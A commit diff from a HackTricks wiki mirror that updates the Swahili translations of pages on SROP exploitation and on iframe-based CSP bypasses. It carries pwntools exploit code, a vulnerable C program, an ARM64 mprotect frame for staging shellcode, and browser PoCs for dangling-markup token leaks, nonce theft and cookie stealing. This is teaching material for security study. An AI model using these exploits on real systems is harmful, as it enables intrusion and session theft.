mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/rop-return-oriented-programing/srop
This commit is contained in:
parent
8054289eb2
commit
ea7d4c38dc
@ -4,7 +4,7 @@
|
|||||||
|
|
||||||
## Mfano wa Pwntools
|
## Mfano wa Pwntools
|
||||||
|
|
||||||
Mfano huu unaunda binary iliyo hatarini na kuifanya. Binary **inasoma kwenye stack** kisha inaita **`sigreturn`**:
|
Mfano huu unaunda binary iliyo hatarini na kuifanya. Binary **inasoma kwenye stack** na kisha inaita **`sigreturn`**:
|
||||||
```python
|
```python
|
||||||
from pwn import *
|
from pwn import *
|
||||||
|
|
||||||
@ -34,7 +34,7 @@ p.interactive()
|
|||||||
```
|
```
|
||||||
## bof mfano
|
## bof mfano
|
||||||
|
|
||||||
### Msimbo
|
### Code
|
||||||
```c
|
```c
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <string.h>
|
#include <string.h>
|
||||||
@ -132,7 +132,7 @@ return 0;
|
|||||||
```
|
```
|
||||||
## Exploit
|
## Exploit
|
||||||
|
|
||||||
Katika sehemu **`vdso`** inawezekana kupata wito kwa **`sigreturn`** katika ofseti **`0x7b0`**:
|
Katika sehemu **`vdso`** inawezekana kupata wito wa **`sigreturn`** katika ofseti **`0x7b0`**:
|
||||||
|
|
||||||
<figure><img src="../../../images/image (17) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
<figure><img src="../../../images/image (17) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
@ -179,9 +179,9 @@ Na ili kupita anwani ya `/bin/sh` unaweza kuunda mabadiliko kadhaa ya mazingira
|
|||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Kutafuta vifaa vya `sigreturn` kiotomatiki (2023-2025)
|
## Kupata vifaa vya `sigreturn` kiotomatiki (2023-2025)
|
||||||
|
|
||||||
Katika usambazaji wa kisasa, trampoline ya `sigreturn` bado inatolewa na ukurasa wa **vDSO** lakini offset halisi inaweza kutofautiana kati ya toleo la kernel na bendera za ujenzi kama BTI (`+branch-protection`) au PAC. Kuwezesha kugundua kwake kunazuia kuweka offsets kwa nguvu:
|
Katika usambazaji wa kisasa, trampoline ya `sigreturn` bado inatolewa na ukurasa wa **vDSO** lakini offset halisi inaweza kutofautiana kati ya matoleo ya kernel na bendera za kujenga kama BTI (`+branch-protection`) au PAC. Kuwezesha kugundua kwake kunazuia kuweka offsets kwa nguvu:
|
||||||
```bash
|
```bash
|
||||||
# With ROPgadget ≥ 7.4
|
# With ROPgadget ≥ 7.4
|
||||||
python3 -m ROPGadget --binary /proc/$(pgrep srop)/mem --only "svc #0" 2>/dev/null | grep -i sigreturn
|
python3 -m ROPGadget --binary /proc/$(pgrep srop)/mem --only "svc #0" 2>/dev/null | grep -i sigreturn
|
||||||
@ -191,11 +191,11 @@ rp++ -f ./binary --unique -r | grep "mov\s\+x8, #0x8b" # 0x8b = __NR_rt_sigret
|
|||||||
```
|
```
|
||||||
Zana zote mbili zinaelewa **AArch64** encodings na zitaorodhesha mguso wa `mov x8, 0x8b ; svc #0` ambao unaweza kutumika kama *SROP gadget*.
|
Zana zote mbili zinaelewa **AArch64** encodings na zitaorodhesha mguso wa `mov x8, 0x8b ; svc #0` ambao unaweza kutumika kama *SROP gadget*.
|
||||||
|
|
||||||
> Kumbuka: Wakati binaries zinapoundwa na **BTI**, amri ya kwanza ya kila lengo la tawi la moja kwa moja halali ni `bti c`. `sigreturn` trampolines zilizowekwa na linker tayari zinajumuisha pad ya BTI sahihi hivyo gadget inabaki kutumika kutoka kwa msimbo usio na mamlaka.
|
> Kumbuka: Wakati binaries zinapokamilishwa na **BTI**, amri ya kwanza ya kila lengo la tawi la moja kwa moja halali ni `bti c`. `sigreturn` trampolines zilizowekwa na linker tayari zinajumuisha pad ya BTI sahihi hivyo gadget inabaki kutumika kutoka kwa msimbo usio na mamlaka.
|
||||||
|
|
||||||
## Kuunganisha SROP na ROP (pivot kupitia `mprotect`)
|
## Kuunganisha SROP na ROP (pivot kupitia `mprotect`)
|
||||||
|
|
||||||
`rt_sigreturn` inatupa udhibiti wa *mifumo yote* ya usajili wa jumla na `pstate`. Mwelekeo wa kawaida kwenye x86 ni: 1) tumia SROP kuita `mprotect`, 2) pivot kwa stack mpya inayoweza kutekelezwa yenye shell-code. Wazo sawa kabisa linafanya kazi kwenye ARM64:
|
`rt_sigreturn` inatupa udhibiti wa *mara zote* za jumla za matumizi na `pstate`. Mwelekeo wa kawaida kwenye x86 ni: 1) tumia SROP kuita `mprotect`, 2) pivot kwa stack mpya inayoweza kutekelezwa yenye shell-code. Wazo sawa kabisa linafanya kazi kwenye ARM64:
|
||||||
```python
|
```python
|
||||||
frame = SigreturnFrame()
|
frame = SigreturnFrame()
|
||||||
frame.x8 = constants.SYS_mprotect # 226
|
frame.x8 = constants.SYS_mprotect # 226
|
||||||
@ -205,7 +205,7 @@ frame.x2 = 7 # PROT_READ|PROT_WRITE|PROT_EXEC
|
|||||||
frame.sp = 0x400000 + 0x100 # new pivot
|
frame.sp = 0x400000 + 0x100 # new pivot
|
||||||
frame.pc = svc_call # will re-enter kernel
|
frame.pc = svc_call # will re-enter kernel
|
||||||
```
|
```
|
||||||
Baada ya kutuma fremu unaweza kutuma hatua ya pili inayojumuisha shell-code safi kwenye `0x400000+0x100`. Kwa sababu **AArch64** inatumia *PC-relative* anwani hii mara nyingi ni rahisi zaidi kuliko kujenga minyororo mikubwa ya ROP.
|
Baada ya kutuma fremu unaweza kutuma hatua ya pili inayojumuisha shell-code safi kwenye `0x400000+0x100`. Kwa sababu **AArch64** inatumia *PC-relative* addressing hii mara nyingi ni rahisi zaidi kuliko kujenga mnyororo mkubwa wa ROP.
|
||||||
|
|
||||||
## Uthibitishaji wa Kernel, PAC & Shadow-Stacks
|
## Uthibitishaji wa Kernel, PAC & Shadow-Stacks
|
||||||
|
|
||||||
@ -215,11 +215,11 @@ Linux 5.16 ilianzisha uthibitishaji mkali wa fremu za ishara za watumiaji (commi
|
|||||||
* Neno lililotengwa katika `struct rt_sigframe` lazima liwe sifuri.
|
* Neno lililotengwa katika `struct rt_sigframe` lazima liwe sifuri.
|
||||||
* Kila kiashiria katika rekodi ya *extra_context* kimepangwa na kinaelekeza ndani ya nafasi ya anwani ya mtumiaji.
|
* Kila kiashiria katika rekodi ya *extra_context* kimepangwa na kinaelekeza ndani ya nafasi ya anwani ya mtumiaji.
|
||||||
|
|
||||||
`pwntools>=4.10` inaunda fremu zinazokidhi vigezo kiotomatiki, lakini ikiwa unazijenga kwa mikono hakikisha kuanzisha *reserved* kuwa sifuri na uondoe rekodi ya SVE isipokuwa unahitaji kweli—venginevyo `rt_sigreturn` itatoa `SIGSEGV` badala ya kurudi.
|
`pwntools>=4.10` inaunda fremu zinazokubalika kiotomatiki, lakini ikiwa unazijenga kwa mikono hakikisha kuanzisha *reserved* kuwa sifuri na uondoe rekodi ya SVE isipokuwa unahitaji kweli—venginevyo `rt_sigreturn` itatoa `SIGSEGV` badala ya kurudi.
|
||||||
|
|
||||||
Kuanza na Android 14 na Fedora 38, userland inajengwa na **PAC** (*Pointer Authentication*) na **BTI** imewezeshwa kwa default (`-mbranch-protection=standard`). *SROP* yenyewe haijaathiriwa kwa sababu kernel inabadilisha `PC` moja kwa moja kutoka kwa fremu iliyoundwa, ikipita LR iliyothibitishwa iliyohifadhiwa kwenye stack; hata hivyo, **minyororo yoyote ya ROP inayofuata** inayofanya matawi yasiyo ya moja kwa moja lazima iruke kwenye maagizo yaliyo na BTI au anwani za PAC. Kumbuka hilo unapochagua gadgets.
|
Kuanza na Android 14 na Fedora 38, userland inajengwa na **PAC** (*Pointer Authentication*) na **BTI** imewezeshwa kwa default (`-mbranch-protection=standard`). *SROP* yenyewe haijaathiriwa kwa sababu kernel inabadilisha `PC` moja kwa moja kutoka kwa fremu iliyoundwa, ikipita LR iliyothibitishwa iliyohifadhiwa kwenye stack; hata hivyo, **mnyororo wowote wa ROP** unaofanya matawi yasiyo ya moja kwa moja lazima uruke kwenye maagizo yaliyo na BTI au anwani za PAC. Kumbuka hilo unapochagua gadgets.
|
||||||
|
|
||||||
Shadow-Call-Stacks zilizoanzishwa katika ARMv8.9 (na tayari zimewezeshwa kwenye ChromeOS 1.27+) ni hatua ya kupunguza kiwango cha kompyuta na *hazihusiani* na SROP kwa sababu hakuna maagizo ya kurudi yanayotekelezwa—mwelekeo wa udhibiti unahamishwa na kernel.
|
Shadow-Call-Stacks zilizoanzishwa katika ARMv8.9 (na tayari zimewezeshwa kwenye ChromeOS 1.27+) ni hatua ya kupunguza kiwango cha kompyuta na *hazihusiani* na SROP kwa sababu hakuna maagizo ya kurudi yanayotekelezwa—mtiririko wa udhibiti unahamishwa na kernel.
|
||||||
|
|
||||||
## Marejeleo
|
## Marejeleo
|
||||||
|
|
||||||
|
@ -7,7 +7,7 @@
|
|||||||
Kuna njia 3 za kuonyesha maudhui ya ukurasa wa iframed:
|
Kuna njia 3 za kuonyesha maudhui ya ukurasa wa iframed:
|
||||||
|
|
||||||
- Kupitia `src` kuashiria URL (URL inaweza kuwa ya asili tofauti au ya asili sawa)
|
- Kupitia `src` kuashiria URL (URL inaweza kuwa ya asili tofauti au ya asili sawa)
|
||||||
- Kupitia `src` kuashiria maudhui kwa kutumia itifaki ya `data:`
|
- Kupitia `src` kuashiria maudhui kwa kutumia protokali ya `data:`
|
||||||
- Kupitia `srcdoc` kuashiria maudhui
|
- Kupitia `srcdoc` kuashiria maudhui
|
||||||
|
|
||||||
**Kufikia Parent & Child vars**
|
**Kufikia Parent & Child vars**
|
||||||
@ -45,7 +45,7 @@ var secret = "child secret"
|
|||||||
alert(parent.secret)
|
alert(parent.secret)
|
||||||
</script>
|
</script>
|
||||||
```
|
```
|
||||||
Ikiwa unapata html ya awali kupitia seva ya http (kama `python3 -m http.server`) utaona kwamba skripti zote zitatekelezwa (kama hakuna CSP inayozuia). **mzazi hataweza kufikia var `secret` ndani ya iframe yoyote** na **ni iframes if2 & if3 pekee (ambazo zinachukuliwa kuwa za tovuti moja) zinaweza kufikia siri** katika dirisha la asili.\
|
Ikiwa utafungua html ya awali kupitia seva ya http (kama `python3 -m http.server`) utaona kwamba skripti zote zitatekelezwa (kama hakuna CSP inayozuia)., **mzazi hataweza kufikia `secret` var ndani ya iframe yoyote** na **ni iframes if2 & if3 tu (ambazo zinachukuliwa kuwa za tovuti moja) zinaweza kufikia siri** katika dirisha la asili.\
|
||||||
Tazama jinsi if4 inachukuliwa kuwa na asili `null`.
|
Tazama jinsi if4 inachukuliwa kuwa na asili `null`.
|
||||||
|
|
||||||
### Iframes na CSP <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
|
### Iframes na CSP <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
|
||||||
@ -76,14 +76,14 @@ id="if4"
|
|||||||
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
|
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
|
||||||
</html>
|
</html>
|
||||||
```
|
```
|
||||||
Note jinsi **CSP ya awali inaruhusu tu utekelezaji wa script ya ndani**.\
|
Note how the **previous CSP only permits the execution of the inline script**.\
|
||||||
Hata hivyo, **ni `if1` na `if2` tu ambazo zitatekelezwa lakini ni `if1` pekee itakayoweza kufikia siri ya mzazi**.
|
However, **only `if1` and `if2` scripts are going to be executed but only `if1` will be able to access the parent secret**.
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
Kwa hivyo, inawezekana **kuzidi CSP ikiwa unaweza kupakia faili ya JS kwenye seva na kuipakia kupitia iframe hata na `script-src 'none'`**. Hii inaweza **pia kufanywa kwa kutumia kipengele cha JSONP cha same-site**.
|
Therefore, it’s possible to **bypass a CSP if you can upload a JS file to the server and load it via iframe even with `script-src 'none'`**. This can **potentially be also done abusing a same-site JSONP endpoint**.
|
||||||
|
|
||||||
Unaweza kujaribu hii na hali ifuatayo ambapo cookie inakuliwa hata na `script-src 'none'`. Endesha tu programu na uifungue na kivinjari chako:
|
You can test this with the following scenario where a cookie is stolen even with `script-src 'none'`. Just run the application and access it with your browser:
|
||||||
```python
|
```python
|
||||||
import flask
|
import flask
|
||||||
from flask import Flask
|
from flask import Flask
|
||||||
@ -107,7 +107,7 @@ app.run()
|
|||||||
|
|
||||||
Jamii ya utafiti inaendelea kugundua njia za ubunifu za kutumia iframes ili kushinda sera za kikomo. Hapa chini unaweza kupata mbinu zinazojulikana zaidi zilizochapishwa katika miaka michache iliyopita:
|
Jamii ya utafiti inaendelea kugundua njia za ubunifu za kutumia iframes ili kushinda sera za kikomo. Hapa chini unaweza kupata mbinu zinazojulikana zaidi zilizochapishwa katika miaka michache iliyopita:
|
||||||
|
|
||||||
* **Dangling-markup / named-iframe data-exfiltration (PortSwigger 2023)** – Wakati programu inareflect HTML lakini CSP kali inazuia utekelezaji wa script, bado unaweza kuvuja tokens nyeti kwa kuingiza *dangling* `<iframe name>` attribute. Mara tu markup ya sehemu inaposindika, script ya mshambuliaji inayotembea katika chanzo tofauti inapeleka frame kwa `about:blank` na kusoma `window.name`, ambayo sasa ina kila kitu hadi herufi ya nukuu inayofuata (kwa mfano token ya CSRF). Kwa sababu hakuna JavaScript inayotembea katika muktadha wa mwathirika, shambulio kwa kawaida linakwepa `script-src 'none'`. PoC ndogo ni:
|
* **Dangling-markup / named-iframe data-exfiltration (PortSwigger 2023)** – Wakati programu inareflect HTML lakini CSP kali inazuia utekelezaji wa script, bado unaweza kuvuja tokens nyeti kwa kuingiza *dangling* `<iframe name>` attribute. Mara tu markup ya sehemu inaposindika, script ya mshambuliaji inayotembea katika chanzo tofauti inapeleka frame kwa `about:blank` na kusoma `window.name`, ambayo sasa ina kila kitu hadi herufi ya nukuu inayofuata (kwa mfano token ya CSRF). Kwa sababu hakuna JavaScript inayotembea katika muktadha wa mwathirika, shambulio kawaida hujiepuka `script-src 'none'`. PoC ndogo ni:
|
||||||
|
|
||||||
```html
|
```html
|
||||||
<!-- Injection point just before a sensitive <script> -->
|
<!-- Injection point just before a sensitive <script> -->
|
||||||
@ -120,7 +120,7 @@ victim.location = 'about:blank';
|
|||||||
console.log(victim.name); // → leaked value
|
console.log(victim.name); // → leaked value
|
||||||
```
|
```
|
||||||
|
|
||||||
* **Nonce theft via same-origin iframe (2024)** – CSP nonces haziondolewa kutoka DOM; zinafichwa tu katika DevTools. Ikiwa mshambuliaji anaweza kuingiza iframe ya *same-origin* (kwa mfano kwa kupakia HTML kwenye tovuti) frame ya mtoto inaweza kuuliza tu `document.querySelector('[nonce]').nonce` na kuunda nodi mpya za `<script nonce>` zinazokidhi sera, ikitoa utekelezaji kamili wa JavaScript licha ya `strict-dynamic`. Gadget ifuatayo inainua kuingizwa kwa markup kuwa XSS:
|
* **Nonce theft via same-origin iframe (2024)** – CSP nonces haziondolewa kutoka DOM; zinafichwa tu katika DevTools. Ikiwa mshambuliaji anaweza kuingiza iframe ya *same-origin* (kwa mfano kwa kupakia HTML kwenye tovuti) frame ya mtoto inaweza tu kuuliza `document.querySelector('[nonce]').nonce` na kuunda nodi mpya za `<script nonce>` zinazokidhi sera, ikitoa utekelezaji kamili wa JavaScript licha ya `strict-dynamic`. Gadget ifuatayo inainua kuingizwa kwa markup kuwa XSS:
|
||||||
|
|
||||||
```javascript
|
```javascript
|
||||||
const n = top.document.querySelector('[nonce]').nonce;
|
const n = top.document.querySelector('[nonce]').nonce;
|
||||||
@ -130,13 +130,13 @@ s.nonce = n;
|
|||||||
top.document.body.appendChild(s);
|
top.document.body.appendChild(s);
|
||||||
```
|
```
|
||||||
|
|
||||||
* **Form-action hijacking (PortSwigger 2024)** – Ukurasa unaoacha mwelekeo wa `form-action` unaweza kuwa na fomu ya kuingia *re-targeted* kutoka iframe iliyoungizwa au HTML ya ndani ili wasimamizi wa nywila kujaza kiotomatiki na kuwasilisha akidi kwa kikoa cha nje, hata wakati `script-src 'none'` ipo. Daima kamilisha `default-src` na `form-action`!
|
* **Form-action hijacking (PortSwigger 2024)** – Ukurasa unaoacha mwelekeo wa `form-action` unaweza kuwa na fomu ya kuingia *re-targeted* kutoka iframe iliyoungizwa au HTML ya ndani ili wasimamizi wa nywila kujaza na kuwasilisha akidi kwa kikoa cha nje, hata wakati `script-src 'none'` ipo. Daima kamilisha `default-src` na `form-action`!
|
||||||
|
|
||||||
**Maelezo ya kujihami (orodha ya haraka)**
|
**Maelezo ya kujihami (orodha ya haraka)**
|
||||||
|
|
||||||
1. Daima tuma *yote* CSP directives zinazodhibiti muktadha wa pili (`form-action`, `frame-src`, `child-src`, `object-src`, nk.).
|
1. Daima tuma *yote* CSP directives zinazodhibiti muktadha wa pili (`form-action`, `frame-src`, `child-src`, `object-src`, nk.).
|
||||||
2. Usitegemee nonces kuwa siri—tumia `strict-dynamic` **na** ondolea maeneo ya kuingiza.
|
2. Usitegemee nonces kuwa siri—tumia `strict-dynamic` **na** ondolea maeneo ya kuingiza.
|
||||||
3. Unapolazimika kuingiza nyaraka zisizoaminika tumia `sandbox="allow-scripts allow-same-origin"` **kwa uangalifu sana** (au bila `allow-same-origin` ikiwa unahitaji tu kutengwa kwa utekelezaji wa script).
|
3. Wakati unahitaji kuingiza hati zisizoaminika tumia `sandbox="allow-scripts allow-same-origin"` **kwa uangalifu sana** (au bila `allow-same-origin` ikiwa unahitaji tu kutenga utekelezaji wa script).
|
||||||
4. Fikiria kutekeleza ulinzi wa kina wa COOP+COEP; sifa mpya ya `<iframe credentialless>` (§ hapa chini) inakuruhusu kufanya hivyo bila kuvunja embeds za wahusika wengine.
|
4. Fikiria kutekeleza ulinzi wa kina wa COOP+COEP; sifa mpya ya `<iframe credentialless>` (§ hapa chini) inakuruhusu kufanya hivyo bila kuvunja embeds za wahusika wengine.
|
||||||
|
|
||||||
### Payloads Nyingine zilizopatikana porini <a href="#other_payloads_found_on_the_wild_64" id="#other_payloads_found_on_the_wild_64"></a>
|
### Payloads Nyingine zilizopatikana porini <a href="#other_payloads_found_on_the_wild_64" id="#other_payloads_found_on_the_wild_64"></a>
|
||||||
@ -164,24 +164,24 @@ Wakati inapotumika, sifa ya `sandbox` inaweka vizuizi kadhaa:
|
|||||||
- Inazuia viungo kuingiliana na muktadha mwingine wa kuvinjari.
|
- Inazuia viungo kuingiliana na muktadha mwingine wa kuvinjari.
|
||||||
- Matumizi ya plugins kupitia `<embed>`, `<object>`, `<applet>`, au lebo zinazofanana yanakatazwa.
|
- Matumizi ya plugins kupitia `<embed>`, `<object>`, `<applet>`, au lebo zinazofanana yanakatazwa.
|
||||||
- Usafiri wa muktadha wa juu wa kuvinjari wa maudhui yenyewe unazuiliwa.
|
- Usafiri wa muktadha wa juu wa kuvinjari wa maudhui yenyewe unazuiliwa.
|
||||||
- Vipengele vinavyosababishwa kiotomatiki, kama vile upigaji video au kuzingatia kiotomatiki kwa udhibiti wa fomu, vinazuiwa.
|
- Vipengele vinavyosababishwa kiotomatiki, kama vile upigaji wa video au kuzingatia kiotomatiki kwa udhibiti wa fomu, vinazuiwa.
|
||||||
|
|
||||||
Tip: Mablazaji ya kisasa yanasaidia bendera za granular kama `allow-scripts`, `allow-same-origin`, `allow-top-navigation-by-user-activation`, `allow-downloads-without-user-activation`, nk. Changanya hizo ili kutoa tu uwezo wa chini unaohitajika na programu iliyowekwa.
|
Nasaha: Vivinjari vya kisasa vinasaidia bendera za granular kama `allow-scripts`, `allow-same-origin`, `allow-top-navigation-by-user-activation`, `allow-downloads-without-user-activation`, n.k. Changanya hizo ili kutoa tu uwezo wa chini unaohitajika na programu iliyowekwa.
|
||||||
|
|
||||||
Thamani ya sifa inaweza kuachwa kuwa tupu (`sandbox=""`) ili kuweka vizuizi vyote vilivyotajwa hapo juu. Vinginevyo, inaweza kuwekwa kwenye orodha ya thamani maalum zilizotengwa kwa nafasi ambazo zinatoa msamaha kwa iframe kutoka kwa vizuizi fulani.
|
Thamani ya sifa inaweza kuachwa kuwa tupu (`sandbox=""`) ili kuweka vizuizi vyote vilivyotajwa hapo juu. Vinginevyo, inaweza kuwekwa kwenye orodha ya thamani maalum zilizotenganishwa kwa nafasi ambazo zinatoa msamaha kwa iframe kutoka kwa vizuizi fulani.
|
||||||
```html
|
```html
|
||||||
<!-- Isolated but can run JS (cannot reach parent because same-origin is NOT allowed) -->
|
<!-- Isolated but can run JS (cannot reach parent because same-origin is NOT allowed) -->
|
||||||
<iframe sandbox="allow-scripts" src="demo_iframe_sandbox.htm"></iframe>
|
<iframe sandbox="allow-scripts" src="demo_iframe_sandbox.htm"></iframe>
|
||||||
```
|
```
|
||||||
### Iframes zisizo na akreditivu
|
### Credentialless iframes
|
||||||
|
|
||||||
Kama ilivyoelezwa katika [hiki kifungu](https://blog.slonser.info/posts/make-self-xss-great-again/), bendera `credentialless` katika iframe inatumika kupakia ukurasa ndani ya iframe bila kutuma akreditivu katika ombi huku ikihifadhi sera ya asili sawa (SOP) ya ukurasa ulio pakuliwa ndani ya iframe.
|
Kama ilivyoelezwa katika [hiki kifungu](https://blog.slonser.info/posts/make-self-xss-great-again/), bendera `credentialless` katika iframe inatumika kupakia ukurasa ndani ya iframe bila kutuma akidi katika ombi huku ikihifadhi sera ya asili sawa (SOP) ya ukurasa ulio pakuliwa ndani ya iframe.
|
||||||
|
|
||||||
Tangu **Chrome 110 (Februari 2023 kipengele hiki kimewezeshwa kwa default** na kiwango kinastandariswa kati ya vivinjari chini ya jina *anonymous iframe*. MDN inaelezea kama: “mekanismu ya kupakia iframes za wahusika wengine katika sehemu mpya ya kuhifadhi ya muda ili kwamba hakuna vidakuzi, localStorage au IndexedDB vinavyoshirikiwa na asili halisi”. Matokeo kwa washambuliaji na walinzi:
|
Tangu **Chrome 110 (Februari 2023 kipengele hiki kimewezeshwa kwa default** na kiwango kinastandariswa kati ya vivinjari chini ya jina *anonymous iframe*. MDN inaelezea kama: “mekanismu ya kupakia iframes za wahusika wengine katika sehemu mpya ya kuhifadhi ya muda ili kwamba hakuna vidakuzi, localStorage au IndexedDB vinavyoshirikiwa na asili halisi”. Matokeo kwa washambuliaji na walinzi:
|
||||||
|
|
||||||
* Skripti katika iframes tofauti zisizo na akreditivu **bado zinashiriki asili ya kiwango cha juu** na zinaweza kuingiliana kwa uhuru kupitia DOM, kufanya mashambulizi ya multi-iframe self-XSS kuwa yawezekana (tazama PoC hapa chini).
|
* Skripti katika iframes tofauti za credentialless **bado zinashiriki asili ya kiwango cha juu** na zinaweza kuingiliana kwa uhuru kupitia DOM, kufanya mashambulizi ya multi-iframe self-XSS kuwa ya uwezekano (angalia PoC hapa chini).
|
||||||
* Kwa sababu mtandao ni **credential-stripped**, ombi lolote ndani ya iframe linatenda kama kikao kisichothibitishwa – maeneo yaliyolindwa na CSRF kwa kawaida yanashindwa, lakini kurasa za umma zinazoweza kuvuja kupitia DOM bado ziko ndani ya wigo.
|
* Kwa sababu mtandao umekuwa **credential-stripped**, ombi lolote ndani ya iframe linatenda kama kikao kisichothibitishwa – mwisho wa CSRF uliohifadhiwa kwa kawaida hushindwa, lakini kurasa za umma zinazoweza kuvuja kupitia DOM bado ziko ndani ya wigo.
|
||||||
* Pop-ups zinazozalishwa kutoka iframe isiyo na akreditivu hupata `rel="noopener"` isiyo ya moja kwa moja, ikivunja baadhi ya mchakato wa OAuth.
|
* Pop-ups zinazozalishwa kutoka iframe ya credentialless hupata `rel="noopener"` isiyo ya moja kwa moja, ikivunja baadhi ya mchakato wa OAuth.
|
||||||
```javascript
|
```javascript
|
||||||
// PoC: two same-origin credentialless iframes stealing cookies set by a third
|
// PoC: two same-origin credentialless iframes stealing cookies set by a third
|
||||||
window.top[1].document.cookie = 'foo=bar'; // write
|
window.top[1].document.cookie = 'foo=bar'; // write
|
||||||
@ -189,9 +189,9 @@ alert(window.top[2].document.cookie); // read -> foo=bar
|
|||||||
```
|
```
|
||||||
- Mfano wa unyakuzi: Self-XSS + CSRF
|
- Mfano wa unyakuzi: Self-XSS + CSRF
|
||||||
|
|
||||||
Katika shambulio hili, mshambuliaji anajiandaa ukurasa mbaya wenye iframes 2:
|
Katika shambulio hili, mshambuliaji anajiandaa ukurasa wa wavuti mbaya wenye iframes 2:
|
||||||
|
|
||||||
- Iframe ambayo inachukua ukurasa wa mwathirika na bendera ya `credentialless` yenye CSRF inayosababisha XSS (Fikiria Self-XSS katika jina la mtumiaji):
|
- Iframe ambayo inachukua ukurasa wa mwathirika na bendera ya `credentialless` pamoja na CSRF inayosababisha XSS (Fikiria Self-XSS katika jina la mtumiaji):
|
||||||
```html
|
```html
|
||||||
<html>
|
<html>
|
||||||
<body>
|
<body>
|
||||||
@ -209,7 +209,7 @@ document.forms[0].submit();
|
|||||||
|
|
||||||
- Iframe nyingine ambayo kwa kweli ina mtumiaji aliyeingia (bila bendera ya `credentialless`).
|
- Iframe nyingine ambayo kwa kweli ina mtumiaji aliyeingia (bila bendera ya `credentialless`).
|
||||||
|
|
||||||
Kisha, kutoka kwenye XSS inawezekana kufikia iframe nyingine kwani zina SOP sawa na kuiba cookie kwa mfano kwa kutekeleza:
|
Kisha, kutoka kwenye XSS inawezekana kufikia iframe nyingine kwani zina SOP sawa na kuiba kidaku kwa mfano kwa kutekeleza:
|
||||||
```javascript
|
```javascript
|
||||||
alert(window.top[1].document.cookie);
|
alert(window.top[1].document.cookie);
|
||||||
```
|
```
|
||||||
|
Loading…
x
Reference in New Issue
Block a user